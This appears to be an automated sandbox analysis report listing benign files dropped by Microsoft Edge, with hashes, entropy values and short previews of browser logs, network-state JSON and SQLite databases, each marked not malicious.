SSDEEP:	12:p34v4Yeb8rcHEZrELFUt8kJ/+kD5LYeb8rcHEZrEZSJ:p64Yeb8nZrExg8sLYeb8nZrEZe
MD5:	1DE7C9A8B1FF8C9483C6CA119F7AECCE
SHA1:	DA4D354322D0EDBDF111EB20D1E343B89FCCEA4A
SHA-256:	29B47E6CDB36B0E175680852104CE2B0D22C1C6FF9535E1318056427B7BE50CB
SHA-512:	3D25A0FB0E25AA6564D30B76B1DE7AB5C7F430BF11D338B00574C8E3971A09D197DC98D8B6B5AB7E6204A16B5B9C7FDDF9CC7896AC1292F9F269779B8F06B38B
Malicious:	false
Preview:	2024/11/11-22:16:22.990 1eb8 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/MANIFEST-000001.2024/11/11-22:16:22.992 1eb8 Recovering log #3.2024/11/11-22:16:22.992 1eb8 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Extension Settings\jdiccldimpdaibmpdkjnbmckianbfold/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\000003.log

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	1657
Entropy (8bit):	5.666894877625914
Encrypted:	false
SSDEEP:	48:fZtaXcXKpzqXZzV03Sx4/2yFtbfWr9GHHHxda2LoEJ:f9kzo9IHRxLn
MD5:	A1EBD9D0D4CB6AEAFACA2880A3191FA2
SHA1:	ACFDC8228D4F45D6B51B0F0C9D06B10A3B060444
SHA-256:	3C141CF5E9868B67FC06C30654C52D01CB711E893648E60170B5798F1577153E
SHA-512:	3340624EA68049B906F1C7815424EE487040D815C92CD09F27429072C429CEA46477E03A3610F6E06E16E7D26DFA9DA46DB8A63CC7E0A70C8A2C2E640F882839
Malicious:	false
Preview:	w6.h.................VERSION.1..META:https://ntp.msn.com.............!_https://ntp.msn.com..LastKnownPV..1731381389528.-_https://ntp.msn.com..LastVisuallyReadyMarker..1731381390863.._https://ntp.msn.com..MUID!.0286CA52A44560A23542DF67A512618F.._https://ntp.msn.com..bkgdV...{"cachedVideoId":-1,"lastUpdatedTime":1731381389602,"schedule":[-1,-1,16,31,-1,-1,24],"scheduleFixed":[-1,-1,16,31,-1,-1,24],"simpleSchedule":[37,33,9,40,17,16,31]}.%_https://ntp.msn.com..clean_meta_flag..1.5_https://ntp.msn.com..enableUndersideAutoOpenFromEdge..false.7_https://ntp.msn.com..nurturing_interaction_trace_ls_id..1731381389482.&_https://ntp.msn.com..oneSvcUniTunMode..header."_https://ntp.msn.com..pageVersions..{"dhp":"20241109.37"}.*_https://ntp.msn.com..pivotSelectionSource..sticky.#_https://ntp.msn.com..selectedPivot..myFeed.5_https://ntp.msn.com..ssrBasePageCachingFeatureActive..true.#_https://ntp.msn.com..switchedPivot..myFeed.O_https://ntp.msn.com..Mon Nov 11 2024 22:16:28 GMT-0500 (Eastern Standard

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.070383092841684
Encrypted:	false
SSDEEP:	6:HUxVUKFIq2P923oH+Tcwt8a2jMGIFUt8YUxqZmw+YUxJBkwO923oH+Tcwt8a2jM4:2UKFIv4Yeb8EFUt8W/+lB5LYeb8bJ
MD5:	C12C28C992FF1A2DCDF9B1027881AA44
SHA1:	355034844FAA6BBE03C61575962775BD5E80A5FA
SHA-256:	6764986834EC2B7D69D133210CA4421F6EC97FF7DC41310E4C01AFAE62896CAA
SHA-512:	EC9FAEF4B2869BF22595C67429023E020442B096A2CE0F77D8FE9ADB8D70FAF113341DF9E7DE6B05F179C11C8E28FAE81FFAC4BC15021F8449B79FA4B6FC117F
Malicious:	false
Preview:	2024/11/11-22:16:21.020 1c84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/11-22:16:21.021 1c84 Recovering log #3.2024/11/11-22:16:21.024 1c84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb\LOG.old (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text
Category:	dropped
Size (bytes):	336
Entropy (8bit):	5.070383092841684
Encrypted:	false
SSDEEP:	6:HUxVUKFIq2P923oH+Tcwt8a2jMGIFUt8YUxqZmw+YUxJBkwO923oH+Tcwt8a2jM4:2UKFIv4Yeb8EFUt8W/+lB5LYeb8bJ
MD5:	C12C28C992FF1A2DCDF9B1027881AA44
SHA1:	355034844FAA6BBE03C61575962775BD5E80A5FA
SHA-256:	6764986834EC2B7D69D133210CA4421F6EC97FF7DC41310E4C01AFAE62896CAA
SHA-512:	EC9FAEF4B2869BF22595C67429023E020442B096A2CE0F77D8FE9ADB8D70FAF113341DF9E7DE6B05F179C11C8E28FAE81FFAC4BC15021F8449B79FA4B6FC117F
Malicious:	false
Preview:	2024/11/11-22:16:21.020 1c84 Reusing MANIFEST C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/MANIFEST-000001.2024/11/11-22:16:21.021 1c84 Recovering log #3.2024/11/11-22:16:21.024 1c84 Reusing old log C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Local Storage\leveldb/000003.log .

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\57ecc085-f51b-4d60-91db-9344d37f81ee.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1789
Entropy (8bit):	5.331661377136727
Encrypted:	false
SSDEEP:	48:YcgCzsCJtsgfc7leeBkBRspCgHZsx+CgH3bxo+:FRJz2keBkBaTI+T3Vo+
MD5:	8406A52B3F8A656915B0E9C6D451BF60
SHA1:	DFB117A936398AFDB9A891808AF9084D198BE072
SHA-256:	F7C4551ECEDA7AD064A14E36294C3B11F2BFBE358BCAFCB6CA8D4110E49AC2A5
SHA-512:	D7E2A168F115491D823B00AD1DE9E7D6673F8F66BE0990244272843A2A951A522E73CBEDC329A7E74044616333408B3C725D41E3DFE5A33E1DC700E3603E6259
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378446982958850","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13378446986470392","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://edge.microsoft.com","supports_spdy":true},

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\86278981-0dc7-49f2-aa0a-dba6dea470a7.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\8946ec99-768d-429d-875e-dea276ad77c4.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\90b2b690-5f7d-40fb-8a65-3b8fd605cfb5.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9dae5d05-9229-48c1-b8a7-e3bda2404416.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\9f7b49e8-4b3a-4753-9e4f-da8c6ae105e0.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Cookies

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 5, cookie 0x5, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	2.7693722438345283
Encrypted:	false
SSDEEP:	192:tTEdKm9LmnYuJeL23mtuAZy6Gj4fXcf0L/ZJVb:VEfLwYkeL2quiffXI0LhJVb
MD5:	25AFE166FCD9C853265029311236BEBF
SHA1:	B842FCFB8649E1BED60EB99CC2C65410C77ECEDD
SHA-256:	9D20CFCB801D9656A970DC524A85D57A735351A29275CC9FC8C2FBE104DA0D43
SHA-512:	4623FB9C660406B7E4894ACDC313631A83A74F813579D10C0E5A69489D6B87DAC599F10B07CEDAD296C9182DBE0225DD5CA413944C1F85CA1E2BD65FD9D69716
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j...$......g..........................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF3d40a.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Network Persistent State~RF4848e.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336110615415376
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7np+:YXs/tsbfc7leeEscgCgakhYhbx9+
MD5:	7D870539B6C4EE40FA5CFD87A3D4BFEC
SHA1:	F45BE07A3A05615856688219AFE6713EBABBAC2C
SHA-256:	73513F7A38830E47624257EF04A4F73BF174FD1FEBAC172AA416BF6470930F90
SHA-512:	90EABCE74F8CBB5FF1F96566E1293887BB3DB36C9E32F6C619D1EC7C9AAE504221CDEC2DD1468915A0A06A65E472C5446731838C89E665EBD9FA114F12261327
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Reporting and NEL

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 8, database pages 9, cookie 0x4, schema 4, UTF-8, version-valid-for 8
Category:	dropped
Size (bytes):	36864
Entropy (8bit):	1.32363909949464
Encrypted:	false
SSDEEP:	48:T6IopKWurJNVr1GJmA8pv82pfurJNVrdHXuccaurJN2VrJ1n4n1GmzNGU1cSBCWS:OIEumQv8m1ccnvS6GptaD62Reqpchcyv
MD5:	B0E0376255BC7C7678991B4E94FA484C
SHA1:	1BEDD5E96BD67F70A3A6742127DB29A0BD60F115
SHA-256:	B6003ACDABFCB57724853345DE187DAD6838EB4D06902D1437CDA42A572A6A70
SHA-512:	A25D216FD23F980161512D3A6C0284714401983B7A0A51EF4C4063DD66327BEEFF7A050746A1517A805A2B639362BCE4E5025C9F95E68A37E5A99AE86FA21DE8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j..........g...D.........7............................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF3738b.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF383a8.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\SCT Auditing Pending Reports~RF388b9.TMP (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\Sdch Dictionaries (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	40
Entropy (8bit):	4.1275671571169275
Encrypted:	false
SSDEEP:	3:Y2ktGMxkAXWMSN:Y2xFMSN
MD5:	20D4B8FA017A12A108C87F540836E250
SHA1:	1AC617FAC131262B6D3CE1F52F5907E31D5F6F00
SHA-256:	6028BD681DBF11A0A58DDE8A0CD884115C04CAA59D080BA51BDE1B086CE0079D
SHA-512:	507B2B8A8A168FF8F2BDAFA5D9D341C44501A5F17D9F63F3D43BD586BC9E8AE33221887869FA86F845B7D067CB7D2A7009EFD71DDA36E03A40A74FEE04B86856
Malicious:	false
Preview:	{"SDCH":{"dictionaries":{},"version":2}}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\afe8f5e8-61b6-48df-a425-2e3021b4467c.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	5.336394944460292
Encrypted:	false
SSDEEP:	24:YXsJZVMdmRdsBjZFRudFGRw6ma3yeesRds1yZFGJ/I3w6C1E6maPsQYhbxP7nbI+:YXs/tsbfc7leeEscgCgakhYhbxo+
MD5:	BF6BA1797785A5763A0088569A24FE85
SHA1:	62B9D7386B7BDD97B816063ED0D9CC0D912EB130
SHA-256:	40C6B39ED9B1E473CBD7027290D7996D15139F0B5BDC4BA6769E8FE8467BBA4E
SHA-512:	FE46026F5F2C16522DBA26D256C0831DA94254C432E5C2CC77F864E6D7E0F1D9C66A50726AF91B06D54EC124C21D1C73744CB2D9CC016BD9FE7200823698D729
Malicious:	false
Preview:	{"net":{"http_server_properties":{"servers":[{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492604479295","port":443,"protocol_str":"quic"}],"anonymization":["GAAAABIAAABodHRwczovL2dvb2dsZS5jb20AAA==",false],"server":"https://clients2.google.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492605127283","port":443,"protocol_str":"quic"}],"anonymization":["JAAAAB0AAABodHRwczovL2dvb2dsZXVzZXJjb250ZW50LmNvbQAAAA==",false],"server":"https://clients2.googleusercontent.com","supports_spdy":true},{"anonymization":["HAAAABUAAABodHRwczovL21pY3Jvc29mdC5jb20AAAA=",false],"server":"https://msedgeextensions.sf.tlu.dl.delivery.mp.microsoft.com","supports_spdy":true},{"alternative_service":[{"advertised_alpns":["h3"],"expiration":"13343492606741506","port":443,"protocol_str":"quic"}],"anonymization":["IAAAABoAAABodHRwczovL3d3dy5nb29nbGVhcGlzLmNvbQAA",false],"server":"https://www.googleapis.com","supports_spdy":true},{"anonymizatio

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Network\e19c162c-e861-4cc4-9419-6b04a23a134e.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2
Entropy (8bit):	1.0
Encrypted:	false
SSDEEP:	3:H:H
MD5:	D751713988987E9331980363E24189CE
SHA1:	97D170E1550EEE4AFC0AF065B78CDA302A97674C
SHA-256:	4F53CDA18C2BAA0C0354BB5F9A3ECBE5ED12AB4D8E11BA873C2F11161202B945
SHA-512:	B25B294CB4DEB69EA00A4C3CF3113904801B6015E5956BD019A8570B1FE1D6040E944EF3CDEE16D0A46503CA6E659A25F21CF9CEDDC13F352A3C98138C15D6AF
Malicious:	false
Preview:	[]

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Nurturing\campaign_history

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	SQLite 3.x database, last written using SQLite version 3042000, file counter 3, database pages 5, cookie 0x2, schema 4, UTF-8, version-valid-for 3
Category:	dropped
Size (bytes):	20480
Entropy (8bit):	0.8350301952073809
Encrypted:	false
SSDEEP:	24:TLSOUOq0afDdWec9sJlAMoqsgC7zn2z8ZI7J5fc:T+OUzDbg3sAM/sgCnn2ztc
MD5:	0DAD8D7F079797377CD56DAE47E1A619
SHA1:	A353C01C5B9BA9E0315ABA74D3337B7D6EE97CB2
SHA-256:	7BDA584E0C1BE9E104065370FD279A7E771D7EB4F7E4CC7C80F146931F150E33
SHA-512:	5A57C0D303672564DDEAA08B5DAAEE1BA24B67C46100720CE69F0908427ACE55F330D96A772D0E1F96B595FBBD70E6145AA464FC4F312EFE095F9AC909E304E8
Malicious:	false
Preview:	SQLite format 3......@ ..........................................................................j.....................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Default\Preferences (copy)

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	10803
Entropy (8bit):	5.138993295948156
Encrypted:	false
SSDEEP:	192:stmkdpKs4osZihUk2sxAe1eK8QbV+FM7QwD66WLaFIMYIPxYJ:stmQKs4ofhEuRbGcQwu6WLaTYz
MD5:	07E8405ADAD9CE68D0D1901C3F5E1871
SHA1:	9F270C6540D8DF3B8522168F5AAD03DC135D237C
SHA-256:	81EB15BCC9D9EDBA061249A576710E87849AEEBF6FEDFD6721A94C3E104BA30A
SHA-512:	735A46FAF1C3BF4E68486A1180820774600BE5202630800BD3C374B5BA507EDB03D05327E361137F6296A42FEAF0E7D4B85D53B50CD0B8D47A73E89BDCA03413
Malicious:	false
